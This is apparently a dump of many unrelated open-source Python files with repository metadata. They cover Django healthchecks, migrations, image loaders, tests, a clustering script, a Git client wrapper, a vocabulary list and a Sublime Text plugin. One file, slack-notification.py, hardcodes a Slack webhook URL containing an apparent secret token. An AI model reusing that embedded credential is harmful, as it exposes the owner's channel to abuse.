[ "MIT" ]
21
2015-05-30T16:17:02.000Z
2015-07-29T17:30:12.000Z
animations/vertical/vanimation.py
juliendelplanque/lcddaemon
77fe0587fe88418aa72897c3a60eff8e7be01372
[ "MIT" ]
null
null
null
#-*- coding: utf-8 -*- import time from animations.abstractanimation import AbstractAnimation from animations.noanimation.noanimation import MultiLineNoAnimation class VerticalAnimation(AbstractAnimation): def __init__(self, driver): # Call super class constructor. super().__init__(driver) ...
36.073171
70
0.676133
1,310
0.885734
0
0
0
0
0
0
95
0.064233
a90997632623c70526b57f88d63354bc898f0759
5,056
py
Python
django_backbone/healthchecks/viewsets.py
Jordan-Kowal/django-backbone
19d123adf00b3f7d22e6ef75ba6da0fe7b5e00b0
[ "MIT" ]
1
2020-10-05T21:44:18.000Z
2020-10-05T21:44:18.000Z
django_backbone/healthchecks/viewsets.py
Jordan-Kowal/django-backbone
19d123adf00b3f7d22e6ef75ba6da0fe7b5e00b0
[ "MIT" ]
null
null
null
django_backbone/healthchecks/viewsets.py
Jordan-Kowal/django-backbone
19d123adf00b3f7d22e6ef75ba6da0fe7b5e00b0
[ "MIT" ]
null
null
null
"""Viewsets for the 'healthchecks' app""" # Built-in import logging from enum import Enum from functools import wraps from secrets import token_urlsafe # Django from django.core.cache import cache from django.core.exceptions import FieldError, ImproperlyConfigured, ObjectDoesNotExist from django.db import connection ...
36.114286
87
0.625791
3,131
0.619264
0
0
3,190
0.630934
0
0
1,616
0.31962
a90a3b893c4a5282243641ddfdb4b678a42dfab0
595
py
Python
slack-notification.py
JSourabh/codepipeline
77b7fb5963199f7d235861a7aed68631d192147d
[ "Apache-2.0" ]
null
null
null
slack-notification.py
JSourabh/codepipeline
77b7fb5963199f7d235861a7aed68631d192147d
[ "Apache-2.0" ]
null
null
null
slack-notification.py
JSourabh/codepipeline
77b7fb5963199f7d235861a7aed68631d192147d
[ "Apache-2.0" ]
null
null
null
def send_message_to_slack(text): from urllib import request, parse import json post = {"text": "{0}".format(text)} try: json_data = json.dumps(post) req = request.Request("https://hooks.slack.com/services/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", ...
31.315789
114
0.608403
0
0
0
0
0
0
0
0
182
0.305882
a90a5cf5add76b19b473f9f00bc495423c4006b7
2,418
py
Python
src/adawat/transforms.py
rafidka/adawat
81828bbea2c3d06d560d6bdbea698b2427dd9917
[ "MIT" ]
null
null
null
src/adawat/transforms.py
rafidka/adawat
81828bbea2c3d06d560d6bdbea698b2427dd9917
[ "MIT" ]
4
2020-08-02T23:50:50.000Z
2020-08-29T02:19:34.000Z
src/adawat/transforms.py
rafidka/adawat
81828bbea2c3d06d560d6bdbea698b2427dd9917
[ "MIT" ]
null
null
null
from typing import Any, TypeVar, Generic, Callable, List import numpy as np import torch class Compose(object): """ Compose multiple transforms together, applying the first, then the second, and so on until the last. """ def __init__(self, *args): self.transforms = args def __call__...
26.282609
79
0.61828
2,263
0.935897
0
0
0
0
0
0
854
0.353184
a90b6c7a5acda4657cfa1d865f79e1eaf7650120
1,701
py
Python
django/apps/attachment/migrations/0006_auto_20200509_1151.py
wykys/project-thesaurus
f700396b30ed44e6b001c15397a25450ac068af4
[ "MIT" ]
null
null
null
django/apps/attachment/migrations/0006_auto_20200509_1151.py
wykys/project-thesaurus
f700396b30ed44e6b001c15397a25450ac068af4
[ "MIT" ]
93
2020-05-19T18:14:12.000Z
2022-03-29T00:26:39.000Z
django/apps/attachment/migrations/0006_auto_20200509_1151.py
wykys/project-thesaurus
f700396b30ed44e6b001c15397a25450ac068af4
[ "MIT" ]
1
2020-11-21T20:24:35.000Z
2020-11-21T20:24:35.000Z
# Generated by Django 3.0.6 on 2020-05-09 11:51 import django.contrib.postgres.fields from django.db import migrations, models import apps.attachment.models.attachment class Migration(migrations.Migration): dependencies = [ ('attachment', '0005_auto_20200507_2306'), ] operations = [ mig...
53.15625
439
0.661376
1,528
0.898295
0
0
0
0
0
0
688
0.404468
a90c404f04036069bd2082d181651a2189166074
2,788
py
Python
tests/test_valve.py
rdehuyss/showerloop
1a9bd9069886f698b5e2ddf6125469eabb050014
[ "MIT" ]
12
2018-08-02T13:40:22.000Z
2022-03-01T09:08:32.000Z
tests/test_valve.py
rdehuyss/showerloop
1a9bd9069886f698b5e2ddf6125469eabb050014
[ "MIT" ]
null
null
null
tests/test_valve.py
rdehuyss/showerloop
1a9bd9069886f698b5e2ddf6125469eabb050014
[ "MIT" ]
1
2020-10-24T13:11:13.000Z
2020-10-24T13:11:13.000Z
import math import os import time from unittest import TestCase import mock from tests.StubTimer import StubTimer from tests.StubUTime import StubUTime class TestValve(TestCase): def setUp(self): self.mock_machine = mock.Mock() self.mock_utime = StubUTime() self.mock_machine.Timer.return...
36.684211
126
0.694763
2,632
0.944046
0
0
0
0
0
0
189
0.067791
a90d8ca252bf2267c50c432c7ac883793403748f
7,085
py
Python
clustering.py
audy/clump
e0715fa0d1f1ef4cf2cdd39531aa82d323474665
[ "MIT" ]
null
null
null
clustering.py
audy/clump
e0715fa0d1f1ef4cf2cdd39531aa82d323474665
[ "MIT" ]
null
null
null
clustering.py
audy/clump
e0715fa0d1f1ef4cf2cdd39531aa82d323474665
[ "MIT" ]
null
null
null
#!/usr/local/bin/python import sys import Pycluster as pc from pylab import * from collections import defaultdict colors = ('green', 'blue', 'orange', 'cyan', 'magenta', 'red', 'yellow', 'pink', 'purple', 'brown') def main(): """docstring fo...
27.784314
73
0.500494
0
0
0
0
0
0
0
0
1,329
0.187579
a9110b5c0117f2af8467c6b63060a19e830d3f66
3,381
py
Python
data/image_folder.py
VuongTuanKhanh/Brain-MRI-GAN
c115b9aa92aac9efe11710df38e0312b3a508b4c
[ "MIT" ]
null
null
null
data/image_folder.py
VuongTuanKhanh/Brain-MRI-GAN
c115b9aa92aac9efe11710df38e0312b3a508b4c
[ "MIT" ]
null
null
null
data/image_folder.py
VuongTuanKhanh/Brain-MRI-GAN
c115b9aa92aac9efe11710df38e0312b3a508b4c
[ "MIT" ]
null
null
null
"""A modified image folder class We modify the official PyTorch image folder (https://github.com/pytorch/vision/blob/master/torchvision/datasets/folder.py) so that this class can load images from both current directory and its subdirectories. """ import torch.utils.data as data from PIL import Image import nibabel a...
31.305556
122
0.631174
844
0.24963
0
0
0
0
0
0
516
0.152618
a91339cbacf313c26ddda2e22c112331ab363a81
448
py
Python
tests/test_powrap.py
awecx/powrap
d96763e5838d7b105a672a9dacea70e270290b22
[ "MIT" ]
1
2021-01-03T01:54:23.000Z
2021-01-03T01:54:23.000Z
tests/test_powrap.py
awecx/powrap
d96763e5838d7b105a672a9dacea70e270290b22
[ "MIT" ]
null
null
null
tests/test_powrap.py
awecx/powrap
d96763e5838d7b105a672a9dacea70e270290b22
[ "MIT" ]
null
null
null
from pathlib import Path import pytest from powrap import powrap FIXTURE_DIR = Path(__file__).resolve().parent @pytest.mark.parametrize("po_file", (FIXTURE_DIR / "bad").glob("*.po")) def test_fail_on_bad_wrapping(po_file): assert powrap.check_style([po_file]) == [po_file] @pytest.mark.parametrize("po_file", ...
24.888889
72
0.734375
0
0
0
0
328
0.732143
0
0
41
0.091518
a916d3cf1a3dfecb0957b149dfe4924022d506c7
472
py
Python
cryptidy/__init__.py
netinvent/cryptidy
091e8100787f43a8457944030f96dc0c4c7d798f
[ "BSD-3-Clause" ]
null
null
null
cryptidy/__init__.py
netinvent/cryptidy
091e8100787f43a8457944030f96dc0c4c7d798f
[ "BSD-3-Clause" ]
null
null
null
cryptidy/__init__.py
netinvent/cryptidy
091e8100787f43a8457944030f96dc0c4c7d798f
[ "BSD-3-Clause" ]
null
null
null
#! /usr/bin/env python # -*- coding: utf-8 -*- # This file is part of cryptidy module """ The cryptidy module wraps PyCrpytodome(x) functions into simple symmetric and asymmetric functions """ __intname__ = "cryptidy" __author__ = "Orsiris de Jong" __copyright__ = "Copyright (C) 2018-2021 Orsiris de Jong" __descri...
24.842105
83
0.739407
0
0
0
0
0
0
0
0
357
0.756356
a9183d49bf73710dff21d0bf9ba6860835767866
5,323
pyw
Python
change_desktop.pyw
vlouvet/change_desktopy
b0ec2b829126221514a6ec6c3306a22ef20703a8
[ "MIT" ]
null
null
null
change_desktop.pyw
vlouvet/change_desktopy
b0ec2b829126221514a6ec6c3306a22ef20703a8
[ "MIT" ]
1
2019-04-13T14:47:06.000Z
2019-04-14T13:22:31.000Z
change_desktop.pyw
vlouvet/change_desktopy
b0ec2b829126221514a6ec6c3306a22ef20703a8
[ "MIT" ]
null
null
null
import praw import ctypes import shutil import requests import requests_cache from PIL import Image import os import io requests_cache.install_cache('bg_cache') filepath = "reddit.creds.txt" with open(filepath, "r") as fin: client_id = fin.readline().replace("\n", "") # TODO: update code to accept...
42.927419
115
0.507233
0
0
0
0
0
0
0
0
1,149
0.215856
a91c4d71080e49a5432f9894381a21354fd82539
6,450
py
Python
benchmark.py
kwang2049/benchmarking-ann
8b98331181286ace0216c7079a38af337a65557d
[ "Apache-2.0" ]
null
null
null
benchmark.py
kwang2049/benchmarking-ann
8b98331181286ace0216c7079a38af337a65557d
[ "Apache-2.0" ]
null
null
null
benchmark.py
kwang2049/benchmarking-ann
8b98331181286ace0216c7079a38af337a65557d
[ "Apache-2.0" ]
null
null
null
import json import faiss import pickle import os import tqdm import numpy as np import argparse import time from functools import wraps parser = argparse.ArgumentParser() parser.add_argument('--d', type=int, default=768, help='dimension size') parser.add_argument('--buffer_size', type=int, default=50000) parser.add_ar...
36.647727
106
0.666667
0
0
0
0
3,363
0.521395
0
0
1,329
0.206047
a91cd484fb7ee6f69e7e02fdf7a857174e746328
295
py
Python
Labs/Wave_3_labs/unzip.py
Babawale/WeJapaInternship
0a8ada12c08d5129934868b0e2c80d72f3045ed0
[ "MIT" ]
null
null
null
Labs/Wave_3_labs/unzip.py
Babawale/WeJapaInternship
0a8ada12c08d5129934868b0e2c80d72f3045ed0
[ "MIT" ]
null
null
null
Labs/Wave_3_labs/unzip.py
Babawale/WeJapaInternship
0a8ada12c08d5129934868b0e2c80d72f3045ed0
[ "MIT" ]
null
null
null
#Unzip Tuples #Unzip the cast tuple into two names and heights tuples. cast = (("Barney", 72), ("Robin", 68), ("Ted", 72), ("Lily", 66), ("Marshall", 76)) # define names and heights here names, heights = zip(*cast) # unzips cast into two tuples(names and heights) print(names) print(heights)
26.818182
83
0.677966
0
0
0
0
0
0
0
0
184
0.623729
a9243210b5050d1609507b8edecbe58a2ea18c39
2,243
py
Python
meta/management/commands/bulkcreateusers.py
mepsd/CLAC
ee15111e9ad12e51fe349d3339319e30b3b69d9e
[ "CC0-1.0" ]
126
2015-03-24T17:37:33.000Z
2022-03-29T18:37:39.000Z
meta/management/commands/bulkcreateusers.py
mepsd/CLAC
ee15111e9ad12e51fe349d3339319e30b3b69d9e
[ "CC0-1.0" ]
1,815
2015-03-16T21:01:30.000Z
2019-09-09T18:47:29.000Z
meta/management/commands/bulkcreateusers.py
mepsd/CLAC
ee15111e9ad12e51fe349d3339319e30b3b69d9e
[ "CC0-1.0" ]
69
2015-03-27T23:44:26.000Z
2021-02-14T09:45:28.000Z
import djclick as click from django.contrib.auth.models import User, Group from django.db import transaction from django.core.management.base import CommandError class DryRunFinished(Exception): pass def get_or_create_users(email_addresses): users = [] for email in email_addresses: if not email...
31.591549
78
0.623718
41
0.018279
0
0
1,517
0.676326
0
0
613
0.273295
a92832dc73ab475a159970bd2c9e45e28feec5c7
544
py
Python
args.py
Pragyanstha/ImageRecognition
94626185b24ef1406896c81f5a583a5e1898ae29
[ "MIT" ]
null
null
null
args.py
Pragyanstha/ImageRecognition
94626185b24ef1406896c81f5a583a5e1898ae29
[ "MIT" ]
null
null
null
args.py
Pragyanstha/ImageRecognition
94626185b24ef1406896c81f5a583a5e1898ae29
[ "MIT" ]
null
null
null
import configargparse def parse(commands = None): p = configargparse.ArgParser() p.add('-c', '--config', is_config_file = True) p.add('--mode', default='test', type=str) p.add('--num_cosines', type = int) p.add('--dim_subspace', type = int) p.add('--dim_diffspace', type = int) p.add('--meth...
27.2
50
0.582721
0
0
0
0
0
0
0
0
116
0.213235
a92ab375e3c0927ad6ddd2ae99cba78e73a59cc7
3,767
py
Python
mmhuman3d/data/data_structures/human_data_cache.py
ykk648/mmhuman3d
26af92bcf6abbe1855e1a8a48308621410f9c047
[ "Apache-2.0" ]
472
2021-12-03T03:12:55.000Z
2022-03-31T01:33:13.000Z
mmhuman3d/data/data_structures/human_data_cache.py
ykk648/mmhuman3d
26af92bcf6abbe1855e1a8a48308621410f9c047
[ "Apache-2.0" ]
127
2021-12-03T05:00:14.000Z
2022-03-31T13:47:33.000Z
mmhuman3d/data/data_structures/human_data_cache.py
ykk648/mmhuman3d
26af92bcf6abbe1855e1a8a48308621410f9c047
[ "Apache-2.0" ]
37
2021-12-03T03:23:22.000Z
2022-03-31T08:41:58.000Z
from typing import List import numpy as np from mmhuman3d.utils.path_utils import ( Existence, check_path_existence, check_path_suffix, ) from .human_data import HumanData class HumanDataCacheReader(): def __init__(self, npz_path: str): self.npz_path = npz_path npz_file = np.load(np...
35.205607
78
0.609238
3,575
0.949031
0
0
0
0
0
0
704
0.186886
a92aefa88c9e1677341b516fd325e4f5ca942f90
10,174
py
Python
code/instance_tests.py
ahillbs/minimum_scan_cover
e41718e5a8e0e3039d161800da70e56bd50a1b97
[ "MIT" ]
null
null
null
code/instance_tests.py
ahillbs/minimum_scan_cover
e41718e5a8e0e3039d161800da70e56bd50a1b97
[ "MIT" ]
null
null
null
code/instance_tests.py
ahillbs/minimum_scan_cover
e41718e5a8e0e3039d161800da70e56bd50a1b97
[ "MIT" ]
null
null
null
from typing import List import math import configargparse import numpy as np import sqlalchemy import yaml import sys import tqdm from IPython import embed from celery import group from angular_solver import solve, bulk_solve from database import Config, ConfigHolder, Graph, Task, TaskJobs, get_session from solver im...
47.32093
169
0.650285
448
0.044034
0
0
0
0
0
0
1,940
0.190682
a92c71e28235d4a2efca0061d489e377536349be
322
py
Python
distrib/kotlin_kernel/detect_jars_location.py
strangepleasures/kotlin-jupyter
01b5d4327422919305a7538e331cee7e3762fe49
[ "Apache-2.0" ]
512
2019-11-28T08:39:23.000Z
2022-03-31T01:49:27.000Z
distrib/kotlin_kernel/detect_jars_location.py
strangepleasures/kotlin-jupyter
01b5d4327422919305a7538e331cee7e3762fe49
[ "Apache-2.0" ]
177
2019-12-03T17:50:21.000Z
2022-03-17T11:58:01.000Z
distrib/kotlin_kernel/detect_jars_location.py
erokhins/kotlin-jupyter
895528926ab14f0f2d15fcbc8a88b0ea1259632a
[ "Apache-2.0" ]
66
2019-12-21T20:35:53.000Z
2022-02-14T21:34:25.000Z
import os from typing import AnyStr from run_kotlin_kernel.run_kernel import module_install_path def detect_jars_location() -> None: run_kernel_path = module_install_path() jars_dir: AnyStr = os.path.join(run_kernel_path, "jars") print(str(jars_dir)) if __name__ == "__main__": detect_jars_location(...
21.466667
60
0.757764
0
0
0
0
0
0
0
0
16
0.049689
a92d996e996a1ad325d7ff8b5ebcfa9511fd291d
78
py
Python
value_functions/__init__.py
daniellawson9999/compositional_reinforcement_learning
aa20413485d654d29cfcaad8ddb8fd07efcafc8c
[ "MIT" ]
7
2020-04-18T01:31:26.000Z
2021-12-23T13:58:55.000Z
value_functions/__init__.py
daniellawson9999/compositional_reinforcement_learning
aa20413485d654d29cfcaad8ddb8fd07efcafc8c
[ "MIT" ]
1
2020-11-17T03:39:21.000Z
2021-05-06T04:09:24.000Z
value_functions/__init__.py
daniellawson9999/compositional_reinforcement_learning
aa20413485d654d29cfcaad8ddb8fd07efcafc8c
[ "MIT" ]
4
2020-03-20T01:38:55.000Z
2021-09-14T03:50:44.000Z
from .value_function import NNVFunction, NNQFunction, NNDiscriminatorFunction
39
77
0.884615
0
0
0
0
0
0
0
0
0
0
a92f10539fc879fc6144252e415f0ed5e662c25e
7,679
py
Python
frads/room.py
LBNL-ETA/frads
dbd9980c7cfebd363089180d8fb1b7107e73ec92
[ "BSD-3-Clause-LBNL" ]
8
2019-11-13T22:26:45.000Z
2022-03-23T15:30:37.000Z
frads/room.py
LBNL-ETA/frads
dbd9980c7cfebd363089180d8fb1b7107e73ec92
[ "BSD-3-Clause-LBNL" ]
null
null
null
frads/room.py
LBNL-ETA/frads
dbd9980c7cfebd363089180d8fb1b7107e73ec92
[ "BSD-3-Clause-LBNL" ]
2
2021-08-10T18:22:04.000Z
2021-08-30T23:16:27.000Z
"""Generic room model""" import argparse import os from frads import radgeom from frads import radutil, util class Room(object): """Make a shoebox.""" def __init__(self, width, depth, height, origin=radgeom.Vector()): self.width = width self.depth = depth self.height = height ...
42.192308
90
0.594218
4,600
0.599036
0
0
0
0
0
0
1,265
0.164735
a92f6dae240175ed04d97420af8139933f7227f7
83
py
Python
wine/apps.py
zenith0/vinum-db
d601b1e1da6d748450f454e6f6d6803d7a4ecea8
[ "Apache-2.0" ]
null
null
null
wine/apps.py
zenith0/vinum-db
d601b1e1da6d748450f454e6f6d6803d7a4ecea8
[ "Apache-2.0" ]
null
null
null
wine/apps.py
zenith0/vinum-db
d601b1e1da6d748450f454e6f6d6803d7a4ecea8
[ "Apache-2.0" ]
null
null
null
from django.apps import AppConfig class WineConfig(AppConfig): name = 'wine'
13.833333
33
0.73494
46
0.554217
0
0
0
0
0
0
6
0.072289
a9303881f52bbb7f52abc64facc0144ae2221c86
2,073
py
Python
test.py
ypraveen/barchart-ondemand-client-python
2224aef0d60b0fa66974fe909fb1a856c146f61e
[ "MIT" ]
66
2017-07-25T04:02:59.000Z
2022-02-24T21:15:10.000Z
test.py
ypraveen/barchart-ondemand-client-python
2224aef0d60b0fa66974fe909fb1a856c146f61e
[ "MIT" ]
6
2017-09-04T18:05:54.000Z
2020-11-19T22:32:43.000Z
test.py
ypraveen/barchart-ondemand-client-python
2224aef0d60b0fa66974fe909fb1a856c146f61e
[ "MIT" ]
23
2017-08-28T18:18:14.000Z
2021-11-13T06:41:52.000Z
""" python test.py my-api-key """ import ondemand import sys od = ondemand.OnDemandClient(api_key=sys.argv[1]) od.debug = True # Get that Crypto resp = od.crypto('^BTCUSD,^LTCUSD') print('') print(resp) print('') # Get a Quote resp = od.quote('AAPL', 'bid,ask') print('') print(resp) print('') ...
20.939394
72
0.639653
0
0
0
0
0
0
0
0
890
0.429329
a93139d8990a5f884a5f91950142a530d39d5797
170
py
Python
correctiv_auth/urls.py
correctiv/django-allauth-correctiv
833e1f6e019834df04146c25198a93f411d66b79
[ "MIT" ]
null
null
null
correctiv_auth/urls.py
correctiv/django-allauth-correctiv
833e1f6e019834df04146c25198a93f411d66b79
[ "MIT" ]
null
null
null
correctiv_auth/urls.py
correctiv/django-allauth-correctiv
833e1f6e019834df04146c25198a93f411d66b79
[ "MIT" ]
null
null
null
from allauth.socialaccount.providers.oauth2.urls import default_urlpatterns from .provider import CorrectivProvider urlpatterns = default_urlpatterns(CorrectivProvider)
34
75
0.882353
0
0
0
0
0
0
0
0
0
0
a931b52e06e6999322f4b50a1f8d242014570def
198
py
Python
instabot/random_utils.py
gioelecrispo/instabot
ab0fa919cddbc6767327ce2d8e366438b8807761
[ "Apache-2.0" ]
1
2019-11-17T03:03:04.000Z
2019-11-17T03:03:04.000Z
instabot/random_utils.py
gioelecrispo/instabot
ab0fa919cddbc6767327ce2d8e366438b8807761
[ "Apache-2.0" ]
null
null
null
instabot/random_utils.py
gioelecrispo/instabot
ab0fa919cddbc6767327ce2d8e366438b8807761
[ "Apache-2.0" ]
null
null
null
import random def choose_random(values, k=1): if len(values) < k: k = len(values) results = random.choices(values, k=k) if k == 1: return results[0] return results
18
41
0.590909
0
0
0
0
0
0
0
0
0
0
a931b982d8994d2cd901db4713baba148c9468eb
10,825
py
Python
src/mcsdk/git/client.py
Stick97/mcsdk-automation-framework-core
5c7cc798fd4e0d54dfb3e0b900a828db4a72034e
[ "BSD-3-Clause" ]
9
2019-11-03T10:15:06.000Z
2022-02-26T06:16:10.000Z
src/mcsdk/git/client.py
Stick97/mcsdk-automation-framework-core
5c7cc798fd4e0d54dfb3e0b900a828db4a72034e
[ "BSD-3-Clause" ]
2
2020-07-08T18:23:02.000Z
2022-01-17T17:31:18.000Z
src/mcsdk/git/client.py
Stick97/mcsdk-automation-framework-core
5c7cc798fd4e0d54dfb3e0b900a828db4a72034e
[ "BSD-3-Clause" ]
5
2020-07-06T16:28:15.000Z
2022-02-22T00:51:48.000Z
import os import requests from requests.auth import HTTPBasicAuth from ..integration.os.process import Command from ..integration.os.utils import chdir class RepoClient: """ The class handles the GIT processes """ def __init__(self, root_dir, token, owner, repo, repo_dir): """ Git class constructor...
33.410494
119
0.584388
10,668
0.985497
0
0
0
0
0
0
3,593
0.331917
a934ac7175537d5e0f644f854f7833119ee2a065
4,697
py
Python
dfa_App/migrations/0020_auto_20200805_2155.py
aejsi5/digifaa
e178986ba556db6175ede3fa1a2c1c39489b7e68
[ "MIT" ]
null
null
null
dfa_App/migrations/0020_auto_20200805_2155.py
aejsi5/digifaa
e178986ba556db6175ede3fa1a2c1c39489b7e68
[ "MIT" ]
null
null
null
dfa_App/migrations/0020_auto_20200805_2155.py
aejsi5/digifaa
e178986ba556db6175ede3fa1a2c1c39489b7e68
[ "MIT" ]
null
null
null
# Generated by Django 3.0.1 on 2020-08-05 19:55 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('dfa_App', '0019_auto_20200805_2140'), ] operations = [ migrations.AddField( model_name='constraint', name='Constrain...
59.455696
255
0.613157
4,631
0.980313
0
0
0
0
0
0
1,928
0.408129
a935dc2fa82547bf6d3850ba747641cf2ca1a91f
908,364
py
Python
flashcards-data-service/aliok/flashcards/data_service/dictSet.py
aliok/flashcards
9cca41e0b2ec68b329d2030160e505017fcc182c
[ "Apache-2.0" ]
6
2015-11-13T22:13:24.000Z
2021-03-25T01:30:01.000Z
flashcards-data-service/aliok/flashcards/data_service/dictSet.py
aliok/flashcards
9cca41e0b2ec68b329d2030160e505017fcc182c
[ "Apache-2.0" ]
null
null
null
flashcards-data-service/aliok/flashcards/data_service/dictSet.py
aliok/flashcards
9cca41e0b2ec68b329d2030160e505017fcc182c
[ "Apache-2.0" ]
5
2016-02-28T22:11:05.000Z
2020-07-31T02:06:11.000Z
#Found stateFile, trying to restore the crawler state. dictSet_0 = [('das', u'Bearbeiten', u'editing a document'), ('der', u'Politiker', u'politician; centrist'), ('der', u'Januar', u'January'), ('der', u'August', u'August'), ('der', u'Komponist', u'composer'), ('der', u'Mai', u'May'), ('die', u'T\xfcrkei', u'T\xfcrk...
5,937.019608
7,698
0.675164
0
0
0
0
0
0
0
0
785,913
0.865196
a93610cab32e285ce4c6a541e3cc023ff8fe9e1f
25,186
py
Python
src/frontend/gui/popupentry.py
C2E2-Development-Team/C2E2-Tool
36631bfd75c0c0fb56389f13a9aba68cbed1680f
[ "MIT" ]
1
2021-10-04T19:56:25.000Z
2021-10-04T19:56:25.000Z
src/frontend/gui/popupentry.py
C2E2-Development-Team/C2E2-Tool
36631bfd75c0c0fb56389f13a9aba68cbed1680f
[ "MIT" ]
null
null
null
src/frontend/gui/popupentry.py
C2E2-Development-Team/C2E2-Tool
36631bfd75c0c0fb56389f13a9aba68cbed1680f
[ "MIT" ]
null
null
null
from tkinter import * from tkinter.ttk import * from frontend.gui.widgets import ToggleFrame from frontend.mod.automaton import * from frontend.mod.constants import * from frontend.mod.hyir import * from frontend.mod.session import Session class PopupEntry(Toplevel): def __init__(self, parent): Toplevel....
31.017241
92
0.581077
24,932
0.989915
0
0
0
0
0
0
5,611
0.222782
a9363e554d610fb201aa75a84231ad4a9b284d4a
749
py
Python
MatplotLib/9_PlottingLiveDataInRealTime.py
ErfanRasti/PythonCodes
5e4569b760b60c9303d5cc68650a2448c9065b6d
[ "MIT" ]
1
2021-10-01T09:59:22.000Z
2021-10-01T09:59:22.000Z
MatplotLib/9_PlottingLiveDataInRealTime.py
ErfanRasti/PythonCodes
5e4569b760b60c9303d5cc68650a2448c9065b6d
[ "MIT" ]
null
null
null
MatplotLib/9_PlottingLiveDataInRealTime.py
ErfanRasti/PythonCodes
5e4569b760b60c9303d5cc68650a2448c9065b6d
[ "MIT" ]
null
null
null
"""In this code we wanna plot real-time data.""" # import random from itertools import count import pandas as pd import matplotlib.pyplot as plt from matplotlib.animation import FuncAnimation plt.style.use('fivethirtyeight') x_vals = [] y_vals = [] index = count() def animate(i): """Plot the gr...
20.805556
59
0.635514
0
0
0
0
0
0
0
0
201
0.268358
a937efbd3e11f0b5981cad6ed7badf54a6c3173d
10,688
py
Python
scripts/move_run.py
EdinburghGenomics/hesiod
70df28714878bd57bd2e315b5b3a60f4dc56e1e3
[ "BSD-2-Clause" ]
1
2020-03-12T04:27:26.000Z
2020-03-12T04:27:26.000Z
scripts/move_run.py
EdinburghGenomics/hesiod
70df28714878bd57bd2e315b5b3a60f4dc56e1e3
[ "BSD-2-Clause" ]
null
null
null
scripts/move_run.py
EdinburghGenomics/hesiod
70df28714878bd57bd2e315b5b3a60f4dc56e1e3
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/env python3 import os, sys, re import logging as L import shutil from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter from pprint import pformat, pprint DRY_RUN = [] TALLIES = dict( runs = 0, fastqdirs = 0 ) # Could import this from hesiod/__init__.py but I don't want the deps...
37.900709
96
0.625561
0
0
0
0
0
0
0
0
4,103
0.383888
a9386e5cb5a9cdff5dcde3ebc831677dfecb0b4f
1,478
py
Python
run.py
pacyu/visualize
0f5523ea5181af7972abb2534bb0fa8af0519125
[ "MIT" ]
5
2020-03-01T09:24:57.000Z
2020-10-14T07:52:22.000Z
run.py
yomikochan/visualize
0f5523ea5181af7972abb2534bb0fa8af0519125
[ "MIT" ]
null
null
null
run.py
yomikochan/visualize
0f5523ea5181af7972abb2534bb0fa8af0519125
[ "MIT" ]
5
2020-02-28T14:57:25.000Z
2020-10-14T07:59:34.000Z
import audio_visual import argparse import sys if __name__ == "__main__": parser = argparse.ArgumentParser(prog='Audio visualization', conflict_handler='resolve') parser.add_argument('-e', '--effect', help='visualization effect: 1d or 2d or 3d') parser.add_argument('-f', '--filenam...
38.894737
101
0.56157
0
0
0
0
0
0
0
0
290
0.196211
a9396c4b2a5db6f805687ea1be44d44fa3d0fd9d
1,091
py
Python
feeds/tasks.py
ralphqq/rss-apifier
cd056654abf24fd178f1e5d8661cafcb3cc1236b
[ "MIT" ]
null
null
null
feeds/tasks.py
ralphqq/rss-apifier
cd056654abf24fd178f1e5d8661cafcb3cc1236b
[ "MIT" ]
5
2020-06-06T01:01:48.000Z
2021-09-22T18:16:22.000Z
feeds/tasks.py
ralphqq/rss-apifier
cd056654abf24fd178f1e5d8661cafcb3cc1236b
[ "MIT" ]
null
null
null
import logging from celery import shared_task from .models import Feed @shared_task(name='fetch-entries') def fetch_entries(): """Fetches and saves all new entries for each RSS feed in the db. Returns: int: count of all RSS entries successfully saved """ logging.info('Fetching...
28.710526
94
0.590284
0
0
0
0
1,007
0.923006
0
0
400
0.366636
a93a4d9b6bed301ebae7d372b616b0296d0f4625
6,816
py
Python
library/tetration_application_query.py
chrivand/ansible-module
219b14e1219b97c181a9ec8bf3e2bc35702b0cb7
[ "MIT" ]
6
2021-03-18T19:27:03.000Z
2021-09-10T10:26:15.000Z
library/tetration_application_query.py
chrivand/ansible-module
219b14e1219b97c181a9ec8bf3e2bc35702b0cb7
[ "MIT" ]
3
2021-04-06T07:30:40.000Z
2021-04-29T17:00:29.000Z
library/tetration_application_query.py
chrivand/ansible-module
219b14e1219b97c181a9ec8bf3e2bc35702b0cb7
[ "MIT" ]
4
2021-04-02T10:08:15.000Z
2021-11-16T01:26:28.000Z
ANSIBLE_METADATA = { 'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community' } DOCUMENTATION = ''' --- module: tetration_application_query short_description: Search the application api for scope id's or details version_added: '2.9' description: - "Search the Application API by ...
30.841629
120
0.657424
0
0
0
0
0
0
0
0
4,763
0.698387
a93c706774e1f4d0d457d316c78682d027154d47
3,831
py
Python
payjp/test/helper.py
payjp/payjp-python
994b16addd8327781eb936eca60d1abe7f7c7819
[ "MIT" ]
15
2015-09-13T14:40:48.000Z
2021-04-29T15:21:13.000Z
payjp/test/helper.py
payjp/payjp-python
994b16addd8327781eb936eca60d1abe7f7c7819
[ "MIT" ]
9
2015-09-07T07:57:20.000Z
2020-12-14T07:11:59.000Z
payjp/test/helper.py
payjp/payjp-python
994b16addd8327781eb936eca60d1abe7f7c7819
[ "MIT" ]
10
2015-09-07T07:56:09.000Z
2020-05-22T12:43:21.000Z
import datetime import json import os import random import re import string import unittest from mock import patch, Mock from six import string_types import payjp NOW = datetime.datetime.now() DUMMY_CARD = { 'number': '4242424242424242', 'exp_month': NOW.month, 'exp_year': NOW.year + 4 } DUMMY_CHARGE ...
25.711409
106
0.640825
3,097
0.808405
0
0
0
0
0
0
488
0.127382
a93f9ae56030b3bb1d933321fd043f4b7c020edb
2,473
py
Python
sublime-text-3/Packages/CommandOnSave/CommandOnSave.py
lvancrayelynghe/dotfiles
6cbf95368f18d26adc3520b4223157a0ed6acebc
[ "MIT" ]
17
2019-03-25T23:43:40.000Z
2022-03-08T17:56:06.000Z
sublime-text-3/Packages/CommandOnSave/CommandOnSave.py
pection/dotfiles
b93759598a601833b14d87fc38ff034f027faea0
[ "MIT" ]
null
null
null
sublime-text-3/Packages/CommandOnSave/CommandOnSave.py
pection/dotfiles
b93759598a601833b14d87fc38ff034f027faea0
[ "MIT" ]
6
2019-03-20T18:17:22.000Z
2020-12-11T04:38:22.000Z
import sublime import sublime_plugin import subprocess import re import time import threading class CommandOnSave(sublime_plugin.EventListener): def __init__(self): self.timeout = 2 self.timer = None def cancel_timer(self): if self.timer != None: self.timer.cancel() de...
34.830986
109
